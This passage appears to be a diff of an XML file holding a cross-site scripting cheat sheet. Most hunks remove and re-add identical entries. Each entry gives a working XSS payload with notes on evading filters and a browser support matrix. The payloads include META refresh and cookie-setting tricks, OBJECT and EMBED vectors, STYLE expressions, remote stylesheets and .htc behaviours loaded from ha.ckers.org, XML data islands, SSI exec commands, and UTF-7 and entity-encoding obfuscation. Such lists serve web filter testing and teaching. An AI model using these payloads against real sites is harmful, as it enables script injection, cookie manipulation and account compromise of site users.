doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>META w/additional URL parameter</name> + <code><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"></code> + <desc>Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Mocha</name> + <code><IMG SRC="mocha:[code]"></code> + <desc>Mocha (Older Netscape only)</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> + </attack> + <attack> + <name>OBJECT</name> + <code><OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT></code> + <desc>If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>OBJECT w/Embedded XSS</name> + <code><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT></code> + <desc>Using an OBJECT tag you can embed XSS directly (this is unverified).</desc> + <label>HTML Element Attacks</label> + <browser>Browser support:</browser> + </attack> + <attack> + <name>Embed Flash</name> + <code><EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED></code> + <desc>Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>OBJECT w/Flash 2</name> + <code>a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d);</code> + <desc>Using this action script inside flash can obfuscate your XSS vector.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>STYLE</name> + <code><STYLE TYPE="text/javascript">alert('XSS');</STYLE></code> + <desc>STYLE tag (Older versions of Netscape only)</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> + </attack> + <attack> + <name>STYLE w/Comment</name> + <code><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"></code> + <desc>STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>STYLE w/Anonymous HTML</name> + <code><XSS STYLE="xss:expression(alert('XSS'))"></code> + <desc>Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>STYLE w/background-image</name> + <code><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A></code> + <desc>STYLE tag using background-image.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>STYLE w/background</name> + <code><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE></code> + <desc>STYLE tag using background.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Stylesheet</name> + <code><LINK REL="stylesheet" HREF="javascript:alert('XSS');"></code> + <desc>Stylesheet</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Remote Stylesheet 1</name> + <code><LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"></code> + <desc>Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Remote Stylesheet 2</name> + <code><STYLE>@import'http://ha.ckers.org/xss.css';</STYLE></code> + <desc>Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Remote Stylesheet 3</name> + <code><META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"></code> + <desc>Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Remote Stylesheet 4</name> + <code><STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE></code> + <desc>Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>TABLE</name> + <code><TABLE BACKGROUND="javascript:alert('XSS')"></TABLE></code> + <desc>Table background (who would have thought tables were XSS targets... except me, of course).</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>TD</name> + <code><TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE></code> + <desc>TD background.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>XML namespace</name> <code><HTML xmlns:xss> <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> <xss:xss>XSS</xss:xss> -</HTML></code> - <desc>XML namespace. The .htc file must be located on the server as your XSS vector.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>XML data island w/CDATA</name> +</HTML></code> + <desc>XML namespace. The .htc file must be located on the server as your XSS vector.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>XML data island w/CDATA</name> <code><XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> -</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></code> - <desc>XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>XML data island w/comment</name> +</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></code> + <desc>XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>XML data island w/comment</name> <code><XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> -<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></code> - <desc>XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive)</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>XML (locally hosted)</name> +<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></code> + <desc>XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive)</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>XML (locally hosted)</name> <code><XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> -<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></code> - <desc>Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>XML HTML+TIME</name> +<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></code> + <desc>Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>XML HTML+TIME</name> <code><HTML><BODY> <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> -<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML></code> - <desc>HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Commented-out Block</name> +<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML></code> + <desc>HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Commented-out Block</name> <code><!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> -<![endif]--></code> - <desc>Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job.</desc> - <label>Other Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Cookie Manipulation</name> - <code><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"></code> - <desc>Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).</desc> - <label>Other Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Local .htc file</name> - <code><XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"></code> - <desc>This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.</desc> - <label>Other Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Rename .js to .jpg</name> - <code><SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT></code> - <desc>Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector.</desc> - <label>Other Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>SSI</name> - <code><!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--></code> - <desc>SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues.</desc> - <label>Other Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>PHP</name> +<![endif]--></code> + <desc>Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job.</desc> + <label>Other Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Cookie Manipulation</name> + <code><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"></code> + <desc>Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).</desc> + <label>Other Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Local .htc file</name> + <code><XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"></code> + <desc>This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.</desc> + <label>Other Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Rename .js to .jpg</name> + <code><SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT></code> + <desc>Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector.</desc> + <label>Other Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>SSI</name> + <code><!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--></code> + <desc>SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues.</desc> + <label>Other Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>PHP</name> <code><? echo('<SCR)'; -echo('IPT>alert("XSS")</SCRIPT>'); ?></code> - <desc>PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.</desc> - <label>Other Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>JavaScript Includes</name> - <code><BR SIZE="&{alert('XSS')}"></code> - <desc>&JavaScript includes (works in Netscape 4.x).</desc> - <label>Other Attacks</label> - <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> - </attack> - <attack> - <name>Character Encoding Example</name> +echo('IPT>alert("XSS")</SCRIPT>'); ?></code> + <desc>PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.</desc> + <label>Other Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>JavaScript Includes</name> + <code><BR SIZE="&{alert('XSS')}"></code> + <desc>&JavaScript includes (works in Netscape 4.x).</desc> + <label>Other Attacks</label> + <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> + </attack> + <attack> + <name>Character Encoding Example</name> <code>< %3C &lt @@ -497,480 +497,480 @@ echo('IPT>alert("XSS")</SCRIPT>'); ?></code> \x3c \x3C \u003c -\u003C</code> - <desc>All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?).</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support:</browser> - </attack> - <attack> - <name>Case Insensitive</name> - <code><IMG SRC=JaVaScRiPt:alert('XSS')></code> - <desc>Case insensitive XSS attack vector.</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>HTML Entities</name> - <code><IMG SRC=javascript:alert(&quot;XSS&quot;)></code> - <desc>HTML entities (the semicolons are required for this to work).</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Grave Accents</name> - <code><IMG SRC=`javascript:alert("RSnake says, 'XSS'")`></code> - <desc>Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents).</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Image w/CharCode</name> - <code><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))></code> - <desc>If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>UTF-8 Unicode Encoding</name> - <code><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;></code> - <desc>UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Long UTF-8 Unicode w/out Semicolons</name> - <code><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></code> - <desc>Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild).</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>DIV w/Unicode</name> - <code><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"></code> - <desc>DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Hex Encoding w/out Semicolons</name> - <code><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29></code> - <desc>Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>UTF-7 Encoding</name> - <code><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</code> - <desc>UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script.</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Escaping JavaScript escapes</name> - <code>\";alert('XSS');//</code> - <desc>Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>End title tag</name> - <code></TITLE><SCRIPT>alert("XSS");</SCRIPT></code> - <desc>This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>STYLE w/broken up JavaScript</name> - <code><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE></code> - <desc>STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span 